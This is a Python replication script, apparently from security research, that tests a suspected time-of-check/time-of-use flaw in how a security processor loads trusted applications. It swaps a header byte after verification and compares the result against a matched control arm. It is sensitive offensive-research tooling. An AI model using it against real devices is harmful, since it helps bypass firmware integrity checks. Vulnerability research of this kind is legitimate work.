"""Replicate the off=0x118 / delay=65535 hit with a PAIRED CONTROL.

The sweep flagged: LOAD_TA succeeded (verification passed) but the TA then failed
to answer. Offset 0x118 is image_header+0x18 -- the requested memory footprint,
parsed by bl_load_ta_image AFTER the integrity check -- so this is exactly where
"verify hashed A, loader consumed B" would show up.

BUT the sweep was running at ~92% exception rate, so a lone TIMEOUT may simply be
background noise. This script settles it by interleaving two arms under identical
conditions and comparing TIMEOUT rates:

    arm FLIP     : one-shot swap armed at (off, delay)   <- byte can change
    arm CONTROL  : identical sequence, but A and B are BOTH the genuine byte
                   (one-shot still fires, same timing, same code path -- only the
                    written value is harmless)

If the effect is real, FLIP shows loaded-but-dead TAs and CONTROL does not.
If both arms time out at similar rates, it is background instability, not TOCTOU.

Paired/interleaved so drift in device health hits both arms equally.
"""
import sys, time, json
from psp_out.toctou_sweep import Sweep

OFF   = int(sys.argv[1], 0) if len(sys.argv) > 1 else 0x118
DELAY = int(sys.argv[2], 0) if len(sys.argv) > 2 else 65535
N     = int(sys.argv[3]) if len(sys.argv) > 3 else 30


def one(s, off, delay, corrupt):
  """One attempt. corrupt=False -> both A and B are genuine (control)."""
  g = s.hdcp[off]
  b = (g ^ 0xFF) if corrupt else g
  s.unload_all(); s.stage()
  s.set_ab(off, g, b)
  s.oneshot(off, delay)
  st, sid, shm, exc = s.load()
  if st == 0 and sid:
    r = s.invoke(sid, shm)
    s.unload_all()
    if r[0] == 'TIMEOUT':          return 'LOADED_DEAD'
    return 'LOADED_OK' if (r[0], r[1][:16] if r[1] else None) == s.baseline else 'LOADED_DIFF'
  s.unload_all()
  return 'REJECT' if not exc else 'ERR'


if __name__ == '__main__':
  s = Sweep()
  s.baseline = s.get_baseline(verbose=True)
  if s.baseline is None:
    s.recover(); s.baseline = s.get_baseline(verbose=True)
  assert s.baseline, "no baseline"
  print("replicating off=%#x delay=%d, %d paired trials\n" % (OFF, DELAY, N), flush=True)

  tally = {'FLIP': {}, 'CTRL': {}}
  for i in range(N):
    for arm, corrupt in (('FLIP', True), ('CTRL', False)):
      try:
        r = one(s, OFF, DELAY, corrupt)
      except Exception as e:
        r = 'EXC:' + type(e).__name__
        s.recover(); s.baseline = s.baseline or s.get_baseline()
      tally[arm][r] = tally[arm].get(r, 0) + 1
    if (i + 1) % 5 == 0:
      print("  %2d/%d  FLIP=%s  CTRL=%s" % (i + 1, N, tally['FLIP'], tally['CTRL']), flush=True)

  print("\nFINAL")
  for arm in ('FLIP', 'CTRL'):
    t = tally[arm]; tot = sum(t.values()) or 1
    dead = t.get('LOADED_DEAD', 0) + t.get('LOADED_DIFF', 0)
    print("  %-5s %s   loaded-but-wrong: %d/%d (%.0f%%)" % (arm, t, dead, tot, 100.0 * dead / tot))
  f = tally['FLIP'].get('LOADED_DEAD', 0) + tally['FLIP'].get('LOADED_DIFF', 0)
  c = tally['CTRL'].get('LOADED_DEAD', 0) + tally['CTRL'].get('LOADED_DIFF', 0)
  print("\nverdict:", "SIGNAL (flip >> control) -- investigate as real TOCTOU" if f > c + 2 else
        "NO SIGNAL -- consistent with background instability, not a verify/load split")
  json.dump(tally, open('/tmp/toctou_replicate.json', 'w'), indent=1)